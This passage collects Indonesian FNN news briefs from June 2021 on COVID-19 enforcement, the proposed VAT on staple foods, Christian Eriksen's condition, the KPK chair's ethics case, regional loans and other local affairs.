Ekonomi Kreatif/Kepala Badan Pariwisata dan Ekonomi Kreatif Sandiaga Salahuddin Uno, mengatakan subsektor kopi dan film dapat diinovasikan sebagai suatu promosi yang menghibur. Sehingga hal tersebut bisa menjadikan kopi nation branding yang kuat. “Kopi dan film ini bisa menjadi inovasi sebagai promosi. Adanya event Kopi Craft Indonesia sendiri pun selain meningkatkan pendapatan para pelaku subsektor kuliner khususnya penjual kopi, juga agar dapat menambah awareness masyarakat tentang keanekaragaman kopi Indonesia melalui pemutaran film dan workshop edukasi tentang kopi,” ujar Menparekraf Sandiaga. Lebih lanjut, Sandiaga menjelaskan bahwa kopi menjadi produk yang sangat diunggulkan. Karena, Indonesia dikenal sebagai episentrum kopi di dunia. “Saya berharap industri kopi akan menjadi tulang punggung penciptaan lapangan kerja, penggerak ekonomi Indonesia termasuk ekspor, dan akan menjadi nation branding Indonesia yang kuat,” jelas Menparekraf Sandiaga. Pemutaran film “Legacy of Java” akan kembali dilaksanakan Minggu, 13 Juni 2021 bersamaan dengan hari terakhir pelaksanaan pameran Kopi Craft Indonesia. (mth)

Bupati Kudus: Kalau Taat Prokes Tak Perlu Takut Varian COVID-19 India

Kudus, FNN - Bupati Kudus, Jawa Tengah Hartopo meminta masyarakat setempat tidak perlu takut dengan ditemukannya virus varian baru COVID-19 dari India di daerah itu sepanjang tetap disiplin mematuhi protokol kesehatan. "Penularan virus tetap sama seperti varian virus corona sebelumnya. Upaya menghindarinya juga tetap sama dengan mematuhi protokol kesehatan, mulai dari memakai masker, mencuci tangan pakai sabun, menjaga jarak, dan menghindari kerumunan," ujarnya menanggapi adanya temuan varian virus India di Kudus, Minggu. Ia meminta masyarakat ketika tidak memiliki kepentingan mendesak, sebaiknya tidak perlu keluar rumah demi mencegah penularan virus corona. Hartopo mengaku kesadaran masyarakat Kudus menerapkan protokol kesehatan sudah baik, karena masyarakat yang beraktivitas di luar rumah selalu memakai masker. Fasilitas tempat cuci tangan juga mudah dijumpai serta banyak kelompok masyarakat ikut peduli memberikan edukasi agar selalu bermasker dan menjaga jarak. Ia berharap masyarakat yang paham dengan protokol kesehatan untuk memberikan pemahaman kepada warga di sekitarnya yang dinilai belum begitu paham, termasuk cara penularan virusnya agar masyarakat mengerti tentang pencegahan penyebaran virus corona tersebut. Informasi adanya virus varian baru di Kudus, katanya, baru penyampaian dan belum mendapatkan surat resmi, sehingga nama-nama pasien COVID-19 yang diambil sampel genome-nya juga belum mengetahui. Dari 34 sampel genome pasien COVID-19, 28 sampel diantaranya dinyatakan terpapar virus varian India atau Delta. Sementara itu, hasil rapat koordinasi yang diselenggarakan oleh Kementerian Kesehatan secara daring bersama Pangdam IV/Diponegoro, Gubernur Jateng dan unsur pimpinan daerah di Kabupaten Kudus di Command Center Dinas Kominfo Kudus, Sabtu (13/6) malam, Kemenkes meminta Pemkab Kudus memperketat pengawasan terhadap penerapan prokes di masyarakat. "Melalui Direktur Jenderal (Dirjen) Pelayanan Kesehatan Kementerian Kesehatan, Pemkab Kudus diminta mempersiapkan fasilitas kesehatan dan layanan kesehatannya, termasuk tempat isolasi terpusat juga disiapkan," ungkap Hartopo. (mth)

Sepekan, Stimulus Listrik Dihentikan hingga Isu PPN Sembako

Jakarta, FNN - Sejumlah berita penting menarik perhatian selama sepekan terakhir seperti stimulus listrik mulai Juli 2021 dihentikan, realisasi PEN capai 29,9 persen, hingga cadangan devisa Mei turun. Kemudian, kegaduhan isu PPN sembako dan pendidikan hingga efek dominonya serta pergerakan pesawat yang telah mencapai di atas 60 persen. Berikut rangkuman berita yang banyak menarik perhatian masyarakat mulai 7 sampai 12 Juni 2021: 1. Stimulus listrik dihentikan mulai Juli 2021 Pemerintah akan menghentikan stimulus tarif listrik selama pandemi COVID-19 terhitung mulai Juli 2021 mendatang, sejalan dengan pulihnya kondisi perekonomian masyarakat di banyak daerah. "Triwulan III 2021 itu belum dapat dilaksanakan dan kemungkinan untuk dilaksanakan kemudian kami lihat kondisinya," kata Direktur Jenderal Ketenagalistrikan Kementerian Energi dan Sumber Daya Mineral (ESDM) Rida Mulyana. 2. Realisasi PEN capai 29,9 persen Menteri Koordinator Bidang Perekonomian Airlangga Hartarto menjabarkan realisasi anggaran Pemulihan Ekonomi Nasional (PEN) hingga saat ini mencapai 29,9 persen dari total pagu anggaran Rp699,4 triliun. Menurut Airlangga, pencairan anggaran PEN bertambah Rp86,7 triliun dari realisasi kuartal I 2021 yang sebesar Rp123 triliun atau total saat ini menjadi Rp209 triliun. 3. Cadangan devisa Mei turun Bank Indonesia (BI) mencatat posisi cadangan devisa pada akhir Mei 2021 mencapai 136,4 miliar dolar AS atau menurun dibandingkan April 2021 sebesar 138,8 miliar dolar AS. Kepala Departemen Komunikasi BI Erwin Haryono mengatakan posisi tersebut setara dengan pembiayaan 9,5 bulan impor atau 9,1 bulan impor dan pembayaran utang luar negeri pemerintah. 4. Menkeu sayangkan ada kegaduhan isu PPN sembako Menteri Keuangan Sri Mulyani Indrawati menegaskan pemerintah saat ini masih tetap fokus untuk memulihkan ekonomi sehingga ia sangat menyayangkan adanya kegaduhan di tengah masyarakat mengenai isu sembako akan dikenakan Pajak Pertambahan Nilai (PPN). “Di-blow up seolah-olah tidak memerhatikan situasi sekarang. Kita betul-betul menggunakan instrumen APBN karena memang tujuan kita pemulihan ekonomi dari sisi demand side dan supply side,” katanya. 5. Efek domino PPN sembako dan pendidikan Direktur Eksekutif Institute for Development of Economics and Finance (Indef) Tauhid Ahmad memaparkan efek domino yang ditimbulkan jika sembako dan sektor pendidikan dikenai Pajak Pertambahan Nilai (PPN). “Kalau sembako keterangan resminya akan naik 12 persen. Wah bayangkan kalau sembako naik sekitar 12 persen kira-kira apa yang akan terjadi? Besar enggak?,” katanya. 6. Pergerakan pesawat capai di atas 60 persen Menteri Perhubungan (Menhub) Budi Karya Sumadi mengatakan pergerakan pesawat di Indonesia di tahun kedua pandemi COVID-19 semakin membaik, mencapai 60 persen dibandingkan dengan masa sebelum pandemi. “Secara nasional pergerakan pesawat di Indonesia sudah di atas 60 persen. Sedangkan di Soekarno-Hatta kira-kira di atas 50 persen dibandingkan masa normal,” katanya. (mth)

CEO Inter Milan: Eriksen Sudah Kirim Pesan ke Rekan Setimnya di Klub

Jakarta, FNN - Christian Eriksen dikabarkan telah mengirim pesan kepada rekan setimnya di Inter setelah pingsan saat timnas Denmark kalah pada Piala Eropa (Euro) 2020 dari Finlandia pada Sabtu, kata CEO klub Giuseppe Marotta. Gelandang tersebut mendapat perawatan medis yang ekstensif di Parken Stadium, Kopenhagen pada penghujung babak pertama pertandingan pembuka Grup B melawan rival nordik mereka. Pertandingan itu sempat ditangguhkan selama dua jam setelah Eriksen dilarikan ke rumah sakit. Gelandang serang Nerazzurri itu kemudian dikatakan sudah dalam kondisi stabil oleh UEFA dan Denmark FU (Persatuan Sepak Bola), dengan rekan setimnya di Inter Romelu Lukaku mendedikasikan gol pembukanya dalam kemenangan 3-0 Belgia atas Rusia untuk Eriksen. “Para pemain sangat dekat dan kami semua segera berkomunikasi satu sama lain setelah melihat gambar-gambar itu,” kata Marotta kepada Rai Sport usai pertandingan yang dikutip Reuters pada Minggu. "Kami tidak ingin menjadi invasif dan mencoba menghormati pemulihannya begitu kami diyakinkan." “Saya hanya bisa mengatakan bahwa 10 menit yang lalu Eriksen sendiri mengirim pesan dalam obrolan internal kami dan ini menegaskan ikatan di antara para pemain.” Pria berusia 64 tahun itu juga dengan cepat menepis anggapan bahwa Eriksen terkena COVID-19, sambil menambahkan bahwa ia dan Inter tidak berhak memberikan rincian lebih lanjut kecuali tim medis Denmark melakukannya terlebih dahulu. “Ia tidak memiliki Covid dan juga tidak divaksinasi,” tambah Marotta. “Saat ini, Eriksen berada di bawah bimbingan staf medis Denmark." "Memang benar mereka merilis informasi, tetapi saya dapat mengatakan bahwa staf medis Inter telah melakukan kontak dengan mereka sejak awal." (mth)

KKP Sosialisasi Aturan Pemanfaatan Ruang Laut Raja Ampat

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) menyatakan telah melakukan sosialisasi berbagai aturan dalam pemanfaatan ruang laut khususnya yang terkait dengan penanaman modal di wilayah Raja Ampat, Papua Barat. "Undang-Undang No. 11 Tahun 2021 tentang Cipta Kerja dan peraturan turunannya memberikan perhatian lebih dalam pemanfaatan ruang laut, ini perlu kami sosialisasikan kepada masyarakat, termasuk para stakeholder yang terkait dalam pemanfaatan ruang laut di wilayah Raja Ampat ini," kata Plt. Direktur Jenderal Pengawasan Sumber Daya Kelautan dan Perikanan KKP Antam Novambar dalam siaran pers di Jakarta, Minggu. Ia mengemukakan KKP di era Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono menunjukkan perhatiannya dalam mendorong keseimbangan pemanfaatan ruang laut, termasuk di Raja Ampat. Antam juga menjelaskan bahwa salah satu amanat yang krusial adalah terkait dengan penanaman modal asing dalam pemanfaatan pulau-pulau kecil dan perairan sekitarnya. UU Cipta Kerja, lanjutnya, juga telah mengatur bagaimana mekanisme penanaman modal asing agar benar-benar bermanfaat bagi masyarakat sekitar dan tidak merugikan kelestarian sumber daya kelautan dan perikanan. "Sesuai amanat pasal 26A, penanaman modal asing harus memenuhi perizinan berusaha dari Pemerintah Pusat serta harus sesuai dengan peraturan perundang-undangan di bidang penanaman modal," ucap Antam. Sementara itu, Plt. Direktur Pengawasan Pengelolaan Sumber Daya Kelautan, Matheus Eko Rudianto memastikan bahwa aparat PSDKP yang ada di lapangan akan melaksanakan pengawasan sesuai dengan ketentuan peraturan perundang-undangan yang berlaku. Oleh sebab itu, dia mengimbau agar pelaku usaha segera mengurus rekomendasi atau izin yang diperlukan. “Tentu pengawasan akan kami laksanakan sesuai peraturan yang berlaku”, tegas Eko. Dalam sosialisasi yang dilaksanakan di Raja Ampat pada 10 Juni 2021, Direktorat Jenderal PSDKP menggandeng sejumlah pihak seperti Pemerintah Daerah Raja Ampat, Kepolisian Perairan, Kelompok Masyarakat Pengawas, serta para pelaku usaha pemanfaatan ruang laut di wilayah Raja Ampat. (mth)

Firli Bahuri Terbukti Lakukan Pelanggaran, KPK Tak Berdaya

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) pasrah dengan laporan ICW (Indonesia Corruption Watch) terhadap ketua lembaga antirasuah itu, Firli Bahuri. Pelaporan kali ini merupakan perkara dari tahun lalu terkait penyewaan helikopter yang digunakan untuk perjalanan Firli dan keluarganya dari Palembang ke Baturaja dan Baturaja ke Palembang pada 20 Juni 2020. Selain itu, Firli juga menyewa helikopter tersebut untuk perjalanan dari Palembang ke Jakarta pada 21 Juni 2020. Atas perkara tersebut, dewan pengawas (Dewas) menyatakan jika Firli melakukan pelanggaran kode etik dan memberikan sanksi ringan berupa teguran tertulis 2. KPK menghormati sepenuhnya hak setiap warga negara yang melihat atau menemukan dugaan pelanggaran kode etik oleh insan KPK untuk melaporkannya ke Dewas KPK sebagai fungsi kontrol publik dalam agenda pemberantasan korupsi yang dilakukan KPK," kata Plt Juru Bicara KPK, Ali Fikri. Peneliti ICW, Kurnia Ramadhana telah menyerahkan atas perkara tersebut pada Jumat, 11 Juni 2021 ke Dewas. "Sebagaimana dipahami bersama, bahwa pokok persoalan yang dilaporkan ini telah diproses secara profesional oleh Dewas KPK dan disampaikan secara transparan kepada publik hasil putusannya pada 24 September 2020," ujar Ali. Meskipun ada gonjang-ganjing terkait laporan Firli Bahuri, Ali menegaskan jika KPK terus berkomitmen dalam upaya pemberantasan korupsi. "KPK terus berkomitmen dalam memberantas korupsi dan berupaya menyelesaikan perkara korupsi yang menjadi tunggakan tahun-tahun sebelumnya, sekaligus mengungkap dugaan perkara korupsi baru tanpa pandang bulu," tutur Ali. (sws).

Pemprov Banten Diminta Kaji Ulang Pinjaman Daerah

Serang, FNN - Wakil Ketua DPRD Provinsi Banten Nawa Said Dimyati meminta pemprov setempat mengkaji ulang terkait dengan rencana pinjaman daerah kepada PT Sarana Multi Infrastruktur (PT SMI) tahap kedua sebesar Rp4,1 triliun. "Terkait dengan adanya kebijakan baru mengenai adanya bunga pinjaman oleh PT SMI, harus dikaji ulang karena harus melihat kemampuan keuangan daerah agar nantinya tidak membebani APBD Banten," kata Nawa Said Dimyati dalam diskusi "Pojok Aspirasi DPRD Banten" di Serang, Sabtu (12/6). Latar belakang pinjaman kepada PT SMI yang dilakukan Pemprov Banten, lanjut dia, sama seperti beberapa daerah lainnya di Indonesia, yakni dalam upaya memulihkan kondisi perekonomian yang terdampak pandemi COViD-19. "Rencana ini sejak 2020 yang akan meminjam RP4,9 triliun. Nah, pada tahun 2020 sudah terealisasi sekitar Rp800 miliar dan tidak ada masalah," kata politkusi Partai Demokrat ini. Menurut Nawa Said, yang menjadi persoalan adalah PT SMI sebelumnya tidak ada bunga dalam pinjaman itu namun tiba-tiba ada bunga. Ia mengemukakan bahwa pinjaman itu sebelumnya bisa dalam jangka waktu 10 tahun, sekarang maksimal 5 tahun. "Ini yang membuat Pemprov Banten perlu melakukan kajian kembali dan konsultasi publik agar nantinya pinjaman ini tidak ganggu APBD," kata Nawa Said. Pada awalnya, kata dia, pengajuan pinjaman itu DPRD memberikan pendapat karena hitungan dari sisi kemampuan fiskal tidak mengganggu APBD jika dengan jangka pembayaran pinjaman 10 tahun. "Ada program-program yang sebelumnya direncanakan dibiayai dari pinjaman PT SMI dan sudah mulai lelang. Ini juga yang bikin masalah," katanya. Selain menghitung lagi kemampuan anggaran untuk cicilan bayaranya jika kurang dari 10 tahun, kata dia, kemudian harus mendapatkan fatwa hukum dari pengacara negara. Rencana pinjaman PT SMI sebesar Rp4,1 triliun, lanjut dia, akan dianggarkan untuk membiayai layanan dasar di Pemprov Banten sebesar Rp77,4 miliar untuk Dinas Pendidikan, Dinas PUPR Rp1,6 triliun, Dinkes Rp1,01 triliun, Dinas Perkim Rp700 miliar, dan Disperindag sekitar Rp30 miliar. "Saya secara pribadi dan anggota DPRD menyerahkan penuh semuanya kepada pemprov dengan memperhatikan kemampuam bayar," kata Nawa Said. (sws)

PN Sampang Sanksi Pelanggar Protokol Kesehatan Rp1 juta

Sampang, FNN - Pengadilan Negeri (PN) Sampang, Jawa Timur, mengadili dan memvonis bersalah seorang pengusaha yang terbukti melanggar protokol kesehatan dengan sanksi berupa denda Rp1 juta. "Terdakwa adalah pemilik salah satu hotel di Kabupaten Sampang ini, dan berdasarkan fakta-fakta yang terungkap di persidangan yang bersangkutan memang melakukan pelanggaran," kata Afrizal, hakim yang menangani kasus itu di Sampang, Sabtu (12/6). Ia menuturkan bahwa kasus tindak pidana pelanggaran protokol kesehatan oleh oknum pemilik salah satu hotel itu bermula dari hasil operasi penegakan disiplin protokol kesehatan yang digelar Satgas COVID-19 Pemkab Sampang. Kala itu, tim gabungan dari Satgas COVID-19 Pemkab Sampang melakukan operasi ke berbagai pusat perbelanjaan, indekos, dan hotel. Operasi itu sebagai tindak lanjut dari edaran penegakan protokol yang dikeluarkan oleh Bupati Sampang. Salah satu isinya, mengharuskan kepada pengelola hotel, penginapan, dan indekos untuk menerapkan protokol kesehatan. Apalagi, hendak menggelar kegiatan, kata dia, harus dilakukan secara terbatas dengan penerapan protokol kesehatan ekstra ketat, seperti menyediakan tempat mencuci tangan menggunakan sabun dan air mengalir, dan selalu menjaga jarak fisik antara peserta kegiatan. "Ternyata di salah satu hotel itu, kegiatan yang digelar abai sama sekali dengan penegakan disiplin protokol kesehatan sehingga petugas langsung memproses secara pidana pemilik hotelnya," kata Afrizal. Afrizal menjelaskan bahwa vonis bersalah terhadap pemilik hotel yang melanggar protokol kesehatan itu mengacu pada Pasal 7 Peraturan Bupati (Perbup) Sampang Nomor 53 Tahun 2020 tentang Protokol Kesehatan dan Pencegahan Penyebaran COVID-19 di Kabupaten Sampang. "Kasus pelanggaran protokol kesehatan yang dimejahijaukan ini merupakan kali pertama di Kabupaten Sampang, dan kasus ini terjadi sebelum kasus pelanggaran protokol kesehatan pada kedatangan Habib Riziq disidangkan," katanya. Terkait dengan putusan itu, terdakwa pemilik hotel menyatakan menerima atas putusan atas pelanggaran tindak pidana ringan (tipiring) itu, dan tidak mengajukan kasasi. Selain memvonis bersalah pemilik hotel, PN Sampang juga memvonis bersalah tiga orang panitia pelaksanaan kegiatan di hotel tersebut dengan membayar denda Rp25 ribu. "Kelima orang ini juga menyatakan menerima putusan PN, sebagaimana terdakwa pemilik salah satu hotel tersebut," katanya. (sws)

Polisi Tangkap Belasan Preman Terduga Pelaku Pungli di Medan

Medan, FNN - Pihak kepolisian menangkap 14 orang preman pelaku pungutan liar (pungli) di kawasan Kecamatan Medan Timur, Kota Medan, Sumatera Utara, saat menggelar operasi premanisme dan pungutan liar, Sabtu (12/6). Kapolsek Medan Timur Kompol M. Arifin mengatakan bahwa operasi tersebut dalam rangka menindaklanjuti instruksi Kapolri Jenderal Pol. Listyo Sigit Prabowo tentang penindakan aksi premanisme dan pungli. "Selain 14 orang yang diamankan, turut disita barang bukti uang tunai sebesar Rp154 ribu yang merupakan hasil tindak pungutan liar," katanya. Ia mengatakan bahwa penyidik Polsek Medan Timur masih melakukan pendataan terhadap belasan orang tersebut. Apabila nantinya ditemukan adanya unsur tindak pidana, lanjut dia, akan diproses secara hukum. "Namun, jika tidak ditemukan adanya tindak pidana, dilakukan pembinaan dengan membuat surat pernyataan tidak mengulangi kembali perbuatannya," ujarnya. Melalui operasi premanisme dan pungli itu, dia berharap dapat memberikan rasa aman dan nyaman terhadap masyarakat dalam menjalani aktivitas. (sws)

Bupati Aceh Barat: Wacana PPN Sembako Ancam Stabilitas Nasional

Meulaboh, FNN - Bupati Aceh Barat Haji Ramli M.S. mengkhawatirkan wacana Kementerian Keuangan mengenakan Pajak Pertambahan Nilai (PPN) terhadap sembilan bahan pokok (sembako) di Tanah Air akan mengancam stabilitas nasional di tengah pandemi COVID-19. "Sebaiknya wacana pengenaan PPN sembako tidak dilakukan karena hal ini dikhawatirkan akan timbulkan gejolak di tengah masyarakat. Wacana ini berbahaya," kata Ramli M.S. di Meulaboh, Sabtu (12/6). Sebelumnya, Kementerian Keuangan berencana mengajukan Rancangan Undang-Undang tentang Perubahan atas Undang-Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (KUP) ke DPR RI, salah satu di antaranya mengenakan PPN terhadap sembako. Menurut Ramli, berdasarkan berbagai masukan yang diterima oleh pemerintah daerah dari kalangan masyarakat, wacana tersebut akan menyebabkan persoalan baru di tengah masyarakat. Selain karena ekonomi yang terpuruk akibat pandemi COVID-19, katanya lagi, pengenaan PPN terhadap sembako juga akan berdampak pada daya beli masyarakat. Oleh karena itu, dia memandang perlu meniadakan kebijakan tersebut karena masyarakat akan melakukan protes atau unjuk rasa. "Kami meminta kepada Bapak Presiden Joko Widodo agar menolak rencana pengenaan PPN ini. Jika hal ini dibiarkan, kami khawatir akan terjadi gejolak di tengah masyarakat," kata Ramli menegaskan. Di sisi lain, Ramli MS mendukung sepenuhnya kebijakan pemerintah mencari sumber baru pengenaan pajak guna meningkatkan pendapatan negara. "Sebagai pejabat negara di daerah, saya mendukung sepenuhnya kebijakan Bapak Presiden. Kami selalu siap mengawal dan menjalankan setiap perintah Presiden," kata Ramli. (sws)

Walhi: Wali Kota Beri Solusi Sampah pada 100 Hari Kerja

Medan, FNN - Wahana Lingkungan Hidup (Walhi) Sumatera Utara menyebut, Wali Kota Medan Bobby Nasution dinilai telah memberikan solusi persampahan dengan melibatkan tingkat kecamatan yang merupakan langkah tepat di 100 hari kerja kepemimpinannya. "Ini (persampahan), langkah penyelesaian dengan mendekatkan di inti permasalahan," terang Direktur Eksekutif Daerah Walhi Sumatera Utara, Doni Latuparisa di Medan, Sabtu. Salah satu diantaranya, lanjut dia, dengan menerbitkan Peraturan Wali Kota (Perwal) Medan No.18/2021 tentang Pelimpahan Sebagian Kewenangan Pengelolaan Persampahan kepada Camat di Lingkungan Pemkot Medan. Kemudian berkolaborasi dengan Pemkab Deli Serdang, Sumatera Utara dalam menyediakan lahan tempat pembuangan akhir TPA seluas sekitar 16,5 hektare di Desa Limau Mungkur, Kecamatan STM Hilir, Kabupaten Deli Serdang. Seperti diketahui, Dinas Kebersihan dan Pertamanan Kota Medan juga berkolaborasi ahli sampah dari Singapura dengan metode bio teknologi, di antaranya mengubah sampah menjadi pupuk organik. Namun, tegasnya, Pemkot Medan juga harus melakukan supervisi, terutama di kelurahan agar pengelolaan sampah tersebut berjalan. "Pemkot tentu tidak tinggal diam, kecamatan dan kelurahan tetap disupervisi agar hasilnya maksimal," kata dia. Walhi Sumatera Utara berharap, setelah momen 100 hari massa kepemimpinan Bobby Nasution sebagai Wali Kota Medan dapat membawa perubahan yang lebih baik bagi Kota Medan. "Tentu 100 hari yang dilewati banyak menyimpan pelajaran penting apa yang berhasil, sehingga perlu ditingkatkan. Apa yang belum berhasil, sehingga dimodifikasi. Persoalan tata kota tentu tidak mudah. Tapi ini tantangan bagi pemimpin muda seperti Mas Bobby," kata Doni. (mth)

Anggota DPR: Sembako dan Pendidikan Tak Boleh Kena Pajak

Jakarta, FNN - Anggota DPR RI Mukhamad Misbakhun mengkritisi rencana Kementerian Keuangan memungut pajak pertambahan nilai (PPN) pada sembako dan sektor pendidikan melalui perluasan objek PPN. Misbakhun dalam keterangan tertulisnya, di Jakarta, Sabtu mengatakan, sembako atau bahan pokok, sektor pendidikan, dan kesehatan tidak boleh dipungut pajak. Hal itu lantaran ketiga sektor tersebut merupakan amanat konstitusi dalam rangka mewujudkan kesejahteraan sebagai tujuan negara. "Kalau beras dijadikan objek pajak dan dikenakan PPN, pengaruhnya pada kualitas pangan rakyat. Rakyat butuh pangan yang bagus agar kualitas kehidupan mereka juga baik," kata Misbakhun. Anggota DPR RI itu menyebutkan Kemenkeu harus bertanggung jawab atas polemik soal Rancangan Undang-Undang Ketentuan Umum dan Tata Cara Perpajakan (RUU KUP) yang memuat rencana pengenaan pajak pertambahan nilai (PPN) pada bahan pokok atau sembako dan sektor pendidikan itu. "Polemik yang terjadi dan penolakan keras di masyarakat atas rencana Kemenkeu ini sangat mempengaruhi citra Presiden Jokowi dan pemerintahan yang dikenal sangat pro-rakyat kecil," ujar Misbakhun. Wakil rakyat asal Pasuruan, Jawa Timur itu juga menentang ide Kemenkeu tentang PPN sektor pendidikan karena pendidikan adalah simbol pembangunan karakter sebuah bangsa. "Pendidikan itu menunjukkan kualitas SDM sebuah negara. Kalau pendidikan sampai dijadikan objek pajak dan dikenakan tarif PPN, kualitasnya akan terpengaruh," ujar anggota Komisi XI DPR ini. Misbakhun menganggap isi RUU KUP yang memuat rencana pengenaan PPN terhadap sektor pendidikan dan pangan justru membuktikan Kemenkeu gagal membuat kebijakan yang merujuk pada amanat konstitusi. Alasannya, konstitusi mengamanatkan berbagai sektor yang harus dijaga dengan semangat gotong royong. Politikus yang dikenal getol membela kebijakan Presiden Jokowi itu juga mempertanyakan argumen Sri Mulyani soal PPN untuk sembako dan pangan baru diterapkan setelah pandemi COVID-19 berlalu. Menurut dia, alasan itu tidak rasional karena sampai saat ini belum ada satu pun ahli atau lembaga terpercaya yang mampu memprediksi akhir pandemi COVID-19. Seharusnya, kata Misbakhun, mantan Direktur Pelaksana Bank Dunia itu punya ide berkelas global tentang cara menaikkan tax ratio dan penerimaan pajak tanpa harus menerapkan PPN pada sembako dan pendidikan. "Masih banyak ruang kreativitas pengambil kebijakan untuk menaikkan penerimaan pajak," ujar Misbakhun. Mantan pegawai Direktorat Jenderal Pajak itu pun menyarankan agar Sri Mulyani segera menarik RUU KUP. "Tarik dan revisi, karena isi RUU KUP itu sangat tidak populer," katanya. Terkait polemik itu, Menteri Keuangan RI Sri Mulyani Indrawati pada Kamis (10/6) menegaskan, rencana itu sifatnya internal, sehingga ia menyesalkan dokumen draf Revisi UU KUP bocor ke publik. Ia memastikan pemerintah masih akan fokus memulihkan perekonomian akibat pandemi COVID-19. "Situasinya menjadi agak kikuk karena ternyata kemudian dokumennya keluar, karena memang sudah dikirimkan kepada DPR juga. Yang keluar sepotong-sepotong," kata Sri Mulyani. "Dari sisi etika politik, kami belum bisa menjelaskan sebelum ini dibahas. Karena ini adalah dokumen publik yang kami sampaikan kepada DPR melalui Surat Presiden," kata dia menambahkan. (mth)

Sandiaga Uno Upayakan Kecamatan Kuta Bisa Masuk Perluasan Zona Hijau

Badung, FNN - Menteri Pariwisata dan Ekonomi Kreatif (Menparekraf) Sandiaga Salahuddin Uno mengupayakan wilayah Kecamatan Kuta di Kabupaten Badung, Bali, dapat masuk ke dalam perluasan zona hijau COVID-19 yang nantinya dapat dikunjungi oleh wisatawan mancanegara. "Harapannya adalah Kuta diikutsertakan dalam tahapan perluasan zona untuk bisa dikunjungi oleh wisatawan mancanegara. Karena bandara terletak di Kuta, khususnya di Desa Adat Tuban. Ini menjadi prioritas kami, tentunya akan mengacu kepada pada pra-kondisi situasi COVID-19 terkini," ujar Menparekraf Sandiaga Uno saat melakukan pertemuan dengan tokoh adat dan masyarakat Kecamatan Kuta di Badung, Sabtu. Sandiaga Uno mengatakan, pihaknya juga berupaya membuka lapangan pekerjaan dan meningkatkan sektor ekonomi bagi masyarakat terdampak pandemi COVID-19 di wilayah yang merupakan salah satu destinasi pariwisata utama di Pulau Dewata itu.. "Saya mendengar masukan yang kami amat terenyuh mendengar masyarakat khususnya di Kecamatan Kuta, karena hampir lebih dari 1,5 tahun paling terdampak," katanya. Berbeda dengan daerah lain, menurutnya masyarakat di kawasan Kuta, Bali, tidak memiliki lahan pertanian sehingga masyarakat setempat sangat dalam kondisi tertekan. Ia menegaskan, kondisi pariwisata dan ekonomi yang lesu di Kecamatan Kuta tersebut menjadi prioritas penanganan oleh Kemenparekraf dan berkomitmen untuk meningkatkan lapangan pekerjaan di Kecamatan Kuta. "Banyak lapangan pekerjaan di sini, kita harus selamatkan lapangan pekerjaan pekerjaan dan mata pencaharian khususnya untuk masyarakat Kecamatan Kuta," ujarnya. "Kami berkoordinasi dengan Pak Camat, tokoh adat tokoh agama, agar program pemerintah tepat sasaran, tepat manfaat dan tepat waktu bisa dilaksanakan khususnya untuk masyarakat di Kuta yang sangat membutuhkan sekarang," ungkap Menparekraf Sandiaga Uno. Sandiaga Uno menambahkan, terkait proses pembukaan Bali bagi wisatawan mancanegara, dan tahapan serta prakondisinya, harapannya segera dapat direalisasikan. (mth)

Lima Ratus ODGJ RSKD Dadi Makassar Siap Divaksin

Makassar, FNN - Bagian K3 (Kesehatan dan Keselamatan Kerja) RS Khusus Daerah Dadi Makassar Sulawesi Selatan Yunus menyampaikan pasien ODGJ (orang dengan gangguan jiwa) sebanyak 500 orang telah siap divaksin. "Pasien ODGJ sekitar 500 orang memungkinkan semua divaksin karena tidak ada penyakit bawaan lainnya, sisanya melihat hasil skrining," ujarnya di Makassar, Sabtu. Pada pelaksanaan vaksinasi ODGJ di RSKD Dadi mengutamakan pasien yang telah dipersiapkan untuk mengikuti rehabilitasi sosial, artinya mereka sedang dalam masa penyembuhan. Meski demikian, vaksin ODGJ RSKD Dadi tetap mengacu pada petunjuk dokter kesehatan jiwa setempat, serta pelaksanaannya harus didampingi. "Kalau parah tidak ada, yang susah itu palingan cuma satu atau dua orang, tetapi kita juga tetap waspada dan didampingi dengan metode penanganan ODGJ," urainya. ODGJ merupakan salah satu dari masyarakat rentan bersama penyandang disabilitas yang sedang digenjot pelaksanaan suntik vaksinnya oleh Dinas Kesehatan Sulawesi Selatan. Satu hari sebelumnya, suntik vaksin ODGJ secara perdana telah dilakukan di RSKD Dadi yang diikuti sebanyak 10 orang dan disaksikan langsung oleh Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan Muhadjir Effendi. "Sekitar 10 orang yang divaksin, selanjutnya Senin kita lanjutkan lagi hingga selesai," tambah Kepala Bidang Pencegahan dan Pengendalian Penyakit (P2P) Dinas Kesehatan Sulawesi Selatan dr Nurul. Bukan hanya di RSKD Dadi, ODGJ di daerah kabupaten/kota juga menjadi target pelayanan vaksinasi Sulsel melibatkan Dinas Sosial untuk menentukan tempat vaksinasi ODGJ di daerah. "Mereka tetap diseleksi kesehatannya, secara bertahap dan tergantung dari dokter spesialis kejiwaan. Kita usahakan semuanya, jadi pelaksanaannya disertai dokter jiwa yang ada di sana," kata Nurul. (mth)

Polda Metro Gelar Operasi Yustisi untuk Tekan Penyebaran COVID-19

Jakarta, FNN - Polda Metro Jaya bersama Kodam Jaya dan Satpol PP menggelar operasi yustisi penegakan protokol kesehatan (prokes) untuk menekan angka penyebaran COVID-19 di Jakarta setelah libur Lebaran. "Malam ini kita melaksanakan kegiatan operasi yustisi gabungan dengan TNI maupun dari Satpol PP," kata Kepala Biro Operasi Polda Metro Jaya Kombes Pol Marsudianto di Mapolda Metro Jaya, Jakarta, Sabtu malam. Marsudianto mengatakan, sebanyak 250 personel gabungan TNI-Polri dan Pemprov DKI Jakarta dikerahkan dalam operasi malam ini. Operasi ini digelar sebagai tindak lanjut dari lonjakan angka penyebaran virus COVID-19 di Jakarta dan sekitarnya dengan angka harian lebih 2.000 kasus. "Kita melihat bahwa jumlah angka positif aktif COVID-19 itu meningkat. Yang terakhir kita tahu jumlahnya sampai 2.455 ini angka yang sangat mengkhawatirkan," katanya. Marsudianto juga mengingatkan kepada personel yang bertugas dalam operasi yustisi untuk mengutamakan sikap persuasif dan humanis saat menegakkan protokol kesehatan. "Kami akan lakukan kegiatan imbauan-imbauan yang secara persuasif humanis pada masyarakat juga membagikan masker," kata dia. Meski mengedepankan langkah persuasif humanis, tim gabungan tetap menindak tegas apabila ditemukan tempat hiburan malam masih buka melewati batas jam operasional yang diatur pemerintah. "Apabila masih ada kegiatan tempat hiburan yang masih aktif lewati batas waktu katakanlah jam 23.00 WIB masih ada, 